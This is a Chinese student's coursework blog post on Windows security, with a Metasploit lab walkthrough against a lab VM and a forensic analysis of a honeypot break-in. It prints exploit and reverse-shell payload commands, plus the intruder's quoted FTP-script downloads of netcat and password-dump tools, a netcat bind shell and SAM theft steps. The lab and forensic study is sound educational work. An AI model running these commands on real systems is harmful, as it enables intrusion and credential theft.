• 20199135-2019-2020《网络攻防实践》第7周作业


    20199135-2019-2020《网络攻防实践》第7周作业

    问题 回答
    作业所属课程 网络攻防实践(https://edu.cnblogs.com/campus/besti/19attackdefense)
    这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
    我在这个课程的目标是 学习第七章
    这个作业在哪个具体方面帮助我实现目标 熟悉linux环境
    作业正文 见下文
    参考文献 见博客结尾

    1.实践内容

    Windows操作系统的基本结构

    Windows安全体系结构

    Windows操作系统基于引用监控器模型(Reference Monitor)来实现基本的对象安全模型。

    最为核心的是位于内核中的SRM (Security Reference Monitor)安全引用监控器,以及位于用户态的 LSASS (Local Security Authority Subsystem Service)安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。

    Windows用户账户的口令字经过加密处理之后保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM(%systemroot%system32configsam,在注册表HEKY_LOCAL_MACHINESAM中存有副本)中。
    Windows的授权与访问控制机制是基于引用监控器模型,有内核中的SRM模块与用户态的LSASS服务共同来实施。Windows对于系统中所有需要保护的资源都抽象成对象,类型包括:文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等。每个对象关联一个SD安全描述符,其主要属性有:

    Owner SID:对象所有者的SID安全标识符;
    Group SID:对象所在基本用户的SID安全标识符;
    DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象;
    SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
    Windows远程安全攻防技术
    Windows远程攻击技术有以下三大类:

    远程口令猜测与破解攻击;
    攻击Windows网络服务;
    攻击Windows客户端及用户。
    Windows系统上的安全漏洞生命周期包括:漏洞发现与披露、渗透测试与利用攻击、漏洞修补等环节的技术过程。知名的漏洞信息库有CVE、NVD、SecurityFocus、OSVDB等。
    针对特定主机系统目标,典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试这几个环节。
    Windows通过基于服务器消息块(SMB)协议承载的文件与打印共享服务来为网络用户提供远程访问文件系统和打印机的支持。SMB协议通常运行于TCP 445端口与TCP 139端口,远程桌面终端服务运行于TCP 3389端口。
    Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)、445(TCP)端口,对应网络服务为MSRPC远过程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。

    Metasploit 软件


    基础库文件:Metasploit的基础库文件位于源码根目录路径下的libraries目录中,包括Rex、framewo-core和framewo-base三部分。

    模块:模块是通过Metasploit框架所装载、集成并对外提供最核心的渗透测试功能实现代码。按照在渗透测试过程中各个环节所具有的的不同用途,分为:辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(Payloads)、空指令模块(Nops)和编码器模块(Encoders)。这些模块都拥有非诚清晰的结构和一个预先定义好的接口,可以被装载到Metasploit框架中,并可组合支持信息收集、渗透攻击与后渗透攻击拓展等渗透测试任务。
    
    插件:Metasploit框架的插件是一类定义比较松散,能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能命令、记录所有的网络记录或提供创新的渗透测试功能。
    
    接口:Metasploit框架提供了多种用户使用接口,包括:msfconsole控制台终端、msfcli命令行、msfgui图形化界面、armitage图形化界面、msfapi远程调用接口。
    
    功能程序:除了通过上述的用户接口访问Metasploit框架主体功能之外,Metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全研究人员快速地利用Metasploit框架内部能力完成一些特定任务。如msfpayload、msfencode、msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。
    

    2.实践过程

    动手实践:Metasploit Windows Attack

    任务:使用Metasploit软件进行Windows远程渗透攻击实验。
    具体任务内容:使用Windows Attackcr/BT4攻击机尝试对Windows Metasploilable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。

    在kali系统使用metasploit时,启动不成功,所以将其卸载重装
    apt-get remove metasploit-framework
    apt-get install metasploit-framework
    重装后还是失败,显示找不到需要的软件,更换source源后重新安装。
    输入命令vim /etc/apt/sources.list
    添加这两行(按i进行编辑)
    deb http://http.kali.org/kali kali-rolling main contrib non-free
    deb-src http://http.kali.org/kali kali-rolling main contrib non-free
    添加完成后按Esc,再按:wq保存退出
    apt-get update
    apt-get install metasploit-framework
    输入msfconsole进行启动

    以Kali作为攻击机进行攻击,IP地址为192.168.1.107,以Win2kServer作为靶机,IP地址为192.168.200.124
    首先在kali中输入msfconsole进入Metasploit

    使用ms03_067作为我们攻击的目标漏洞,通过use exploit/windows/dcerpc/ms08_067_netapi使用相关攻击脚本

    有问题,参考同学的博客更换目标漏洞use exploit/windows/dcerpc/ms03_026_dcom表示使用MS03-026作为我们攻击的目标漏洞。

    输入set PAYLOAD windows/meterpreter/reverse_tcp设置攻击的载荷为tcp的反向连接;
    使用set LHOST 192.168.1.107表示设置攻击机IP地址,使用set RHOST 192.168.200.124表示设置靶机IP地址。
    使用exploit开始攻击。

    攻击失败(此处为3个问号的黑人表情包)
    将kali的网络设置改成NAT模式再次实验

    再次攻击失败(此处仍然为3个问号的黑人表情包)
    打开kali发现ip地址变了???ip地址变为192.168.200.2(原因为之前更改过网络配置)
    再次重复以上操作

    进入到靶机的系统命令行界面,输入ipconfig/all显示靶机的操作系统和IP配置,由此渗透攻击成功

    实践作业

    取证分析实践:解码一次成功的NT系统破解攻击。
    来自213.116.251.162的攻击者成功攻陷了 一台itl rfp部署的蜜罐主机172.16.1.106 (主 机名为:lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,而I」.我们有理由相信 攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。
    你的分析数据源只仃包含整个攻击过程的二进制记录文件,而你的任务就是从这个文 件中提取并分析攻击的全部过程。
    1.攻击者使用了什么破解工具•进行攻击?
    2.攻击者如何使用这个破解丁.具进入并控制了系统?
    3.当攻击苫获得系统的访问权后做了什么?
    4.我们如何防止这样的攻击?
    5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

    1)首先用wireshark打开那个.log文件。点击 统计-http-请求,可以看到本次攻击的代码

    设置限定条件为:ip.addr==172.16.1.106 and http

    boot.ini是NT系统的启动文件。而前面的..%c0af..是"/"的Unicode编码
    然后我们可以看到攻击者试图向服务器获取一个msadcs.dll文件,执行shell脚本数据为shell ( “cmd /c echo werd >> c : f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击

    因此可以得出,攻击者利用了Unicode和msadcs(2).pl工具进行攻击
    2)攻击者如何使用这个破解工具进入并控制了系统?
    在Wireshark中输入ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST"进行过滤,得到SQL语言代码,简化处理后得到shell脚本代码
    shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
    shell ( “cmd /c echo get samdump .dll >> ftpcom” ) ;
    shell ( “cmd /c echo get pdump .exe >> ftpcom” ) ;
    shell ( “cmd /c echo get nc.exe>>ftpcom” ) |;
    shell ( “cmd /c echo quit>>ftpcom” );
    shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” )

    在 179 号数据包追踪 TCP 流,可以看到如下指令,攻击者创建了一个 ftpcom 脚本:
    cmd /c echo user johna2k > ftpcom

    在 299 号数据包追踪 TCP 流,发现攻击者试图连接至 FTP 服务器 204.42.253.18,但未成功

    在1106 号数据包,FTP 连接成功:

    查找ftp连接成功以前的指令,得到如下指令:
    copy C:winntsystem32cmd.exe cmd1.exe
    c echo open 213.116.251.162 >ftpcom
    c echo johna2k >>ftpcom
    c echo haxedj00 >>ftpcom
    c echo get nc.exe >>ftpcom
    c echo get pdump.exe >>ftpcom
    c echo get samdump.dll >>ftpcom
    c echo quit >>ftpcom
    继续查看到 1224 号数据包,看到攻击者执行了:cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了 6969 端口,并且获得了访问权限。

    3)攻击者获得系统访问权限后做了什么
    筛选 tcp.port == 6969,并追踪 TCP 流:

    接着我们可以看到攻击者尝试进入但失败

    接着列出了用户

    然后发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:

    然后删除了许多文件:

    使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:

    最后离开

    4)我们如何防止这样的攻击
    升级系统到最新的稳定版本并且要及时更新微软官方的漏洞补丁
    5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
    在 4351 号数据包,攻击者留下记录:

    因此攻击者应该是警觉了目标为一台蜜罐主机

    团队对抗实践:Windows系统远程渗透攻击与分析。

    攻防对抗实践内容:攻击方Metasploit Windows Attack,防御方:wireshark捕获攻击流, 分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补「进行修补,给出攻防过程报告。
    攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权。
    防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件’)结合 wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击 利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
    我们重复实践一的步骤,在运行最后一步exploit时开启wireshark,我们可以看到靶机与攻击机的ip地址,端口信息等

    在攻击机输入ipconfig指令,在Wireshark捕获查看。

    3.学习中遇到的问题及解决

    • 问题1:在kali系统使用metasploit时,启动不成功
    • 问题1解决方案:更新安装后成功启动
    • 问题2:提示目标漏洞有问题
    • 问题2解决方案:参考同学更换目标漏洞
    • 问题3:metasploit攻击时失败
    • 问题3解决方案:第一次未将攻击机与靶机置于同一网段,第二次由于更改网络配置导致Ip地址变换,未设置正确的ip地址
    • 问题4:第二个实践一脸懵
    • 问题4解决方案:参考同学博客才有了点思路
    • 问题5:同一个界面下做第三个实验,居然攻击失败,失败结果同实验一攻击一。
    • 问题5解决方案:重启后成功
    • 问题6:wireshark还是搞不清(暴风哭泣)

    4.实践总结

    面对分析的内容仍然存在巨大的不足,看到实践不知道从哪里下手

    参考资料

  • 相关阅读:
    Microsoft Dynamics CRM 常用JS语法(已转成vs2017语法提示)
    IIS7如何实现访问HTTP跳转到HTTPS访问
    C#调用PB写的com组件dll
    C# winform程序免安装.net framework在XP/win7/win10环境运行!
    文件上传漏洞
    OWASP TOP 10
    sql
    ASCII码查看
    sql注入--mysql
    sql注入--access
  • 原文地址:https://www.cnblogs.com/Fu-ry/p/12618400.html
Copyright © 2020-2023  润新知